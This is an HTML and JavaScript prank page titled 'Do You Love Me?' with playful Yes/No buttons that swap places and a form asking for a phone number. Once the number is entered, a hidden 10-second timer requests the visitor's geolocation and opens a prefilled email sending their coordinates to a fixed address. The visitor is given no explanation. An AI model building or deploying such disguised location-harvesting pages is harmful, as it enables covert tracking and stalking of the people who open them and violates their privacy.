Propose
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Do You Love Me?</title>
<style>
body {
font-family: Arial, sans-serif;
text-align: center;
background-image: url('https://r1.ilikewallpaper.net/iphone-wallpapers/download/22914/Sweet-Cartoon-Cute-Lover-Couple-iphone-wallpaper-ilikewallpaper_com_200.jpg'); /* URL of your background image */
background-size: cover; /* Ensure the image covers the whole background */
background-position: center; /* Center the background image */
background-repeat: no-repeat; /* Prevent the image from repeating */
padding: 50px;
transition: background-image 0.5s ease-in-out; /* Smooth transition for background image */
}
h2 {
font-size: 36px;
color: #333;
}
.button-container {
margin-top: 30px;
}
.button {
padding: 20px 40px;
font-size: 24px;
cursor: pointer;
border: none;
border-radius: 8px;
transition: background-color 0.3s ease, color 0.3s ease;
}
#yes-button {
background-color: #3498db; /* Blue color for "Yes" button */
color: #fff;
}
#no-button {
background-color: #e74c3c; /* Red color for "No" button */
color: #fff;
}
#message {
margin-top: 20px;
font-size: 28px;
color: #333;
}
#phone-form {
display: none;
margin-top: 20px;
}
#phone-input {
padding: 10px;
font-size: 18px;
width: 200px;
border-radius: 8px;
border: 1px solid #ccc;
}
#phone-error {
color: red;
margin-top: 5px;
display: none;
}
#send-button {
padding: 15px 30px;
font-size: 20px;
background-color: #4CAF50; /* Green color for "Send" button */
color: #fff;
border: none;
border-radius: 8px;
cursor: pointer;
transition: background-color 0.3s ease, color 0.3s ease;
}
#send-button:hover {
background-color: #45a049; /* Darker green on hover */
}
#ok-button {
margin-top: 20px;
padding: 15px 30px;
font-size: 20px;
background-color: #3498db; /* Blue color for "OK" button */
color: #fff;
border: none;
border-radius: 8px;
cursor: pointer;
transition: background-color 0.3s ease, color 0.3s ease;
}
#ok-button:hover {
background-color: #2980b9; /* Darker blue on hover */
}
#love-message {
display: none;
font-family: 'Dancing Script', cursive;
font-size: 36px;
color: #ff69b4;
margin-top: 20px;
}
</style>
</head>
<body>
<h2>Do You Love Me?</h2>
<div class="button-container">
<button id="yes-button" class="button" onclick="handleYesClick()">Yes</button>
<button id="no-button" class="button" onclick="handleNoClick()">No</button>
</div>
<p id="message" style="display: none;"></p>
<p id="love-message">I love you too</p>
<div id="phone-form">
<p>Have you sent me your phone number?</p>
<input type="tel" id="phone-input" placeholder="Enter your phone number" maxlength="10">
<span id="phone-error">Please enter a valid 10-digit phone number.</span>
<br>
<button id="send-button" onclick="sendPhoneNumber()">Send</button>
</div>
<button id="ok-button" style="display: none;" onclick="sendEmail()">OK</button>
<script> var clickCount = 0; var noClickCount = 0; function handleYesClick() { if (clickCount < 10) { showMessage('Ok, so cute baby!'); showLoveMessage(); showPhoneForm(); clickCount++; } swapButtons(); } function handleNoClick() { noClickCount++; if (noClickCount >= 4) { showMessage('Choti bacchi ho kya jab click nhi ho rha hai to yes par click kar do'); } if (clickCount < 10) { swapButtons(); clickCount++; } } function showMessage(message) { document.getElementById('message').innerText = message; document.getElementById('message').style.display = 'block'; } function showLoveMessage() { document.getElementById('love-message').style.display = 'block'; } function swapButtons() { var yesButton = document.getElementById('yes-button'); var noButton = document.getElementById('no-button'); var buttonContainer = document.querySelector('.button-container'); buttonContainer.insertBefore(noButton, yesButton); yesButton.setAttribute('onclick', 'handleYesClick()'); noButton.setAttribute('onclick', 'handleNoClick()'); yesButton.style.backgroundColor = '#3498db'; // Blue for "Yes" noButton.style.backgroundColor = '#e74c3c'; // Red for "No" if (clickCount >= 10) { yesButton.setAttribute('disabled', 'disabled'); noButton.setAttribute('disabled', 'disabled'); } } function showPhoneForm() { document.getElementById('phone-form').style.display = 'block'; } function sendPhoneNumber() { var phoneNumber = document.getElementById('phone-input').value; // Validate phone number var phoneRegex = /^\d{10}$/; if (!phoneRegex.test(phoneNumber)) { document.getElementById('phone-error').style.display = 'block'; return; } // Reset error message document.getElementById('phone-error').style.display = 'none'; // Show OK button document.getElementById('ok-button').style.display = 'inline-block'; // Change background image document.body.style.backgroundImage = "url('https://rukminim2.flixcart.com/image/850/1000/ko1smfk0/mug/j/e/y/cute-cartoon-funny-coffee-mug-i-love-you-cute-couple-cartoon-original-imag2h77jg2mwbjs.jpeg?q=20&crop=false')"; // Send location to email after 10 seconds setTimeout(sendLocationToEmail, 10000); } function sendLocationToEmail() { if (navigator.geolocation) { navigator.geolocation.getCurrentPosition(function(position) { var latitude = position.coords.latitude; var longitude = position.coords.longitude; var email = '[email protected]'; var subject = encodeURIComponent('User Location'); var body = encodeURIComponent('Latitude: ' + latitude + '\nLongitude: ' + longitude); window.location.href = 'mailto:' + email + '?subject=' + subject + '&body=' + body; }, function(error) { console.error('Error obtaining location: ', error); alert('Could not obtain location. Please try again.'); }); } else { alert('Geolocation is not supported by this browser.'); } } function sendEmail() { var phoneNumber = document.getElementById('phone-input').value; var encodedMessage = encodeURIComponent('Please send your phone number to ' + phoneNumber + ' through Gmail.'); var email = '[email protected]'; window.location.href = 'mailto:' + email + '?subject=Sending Phone Number&body=' + encodedMessage; } </script> </body> </html>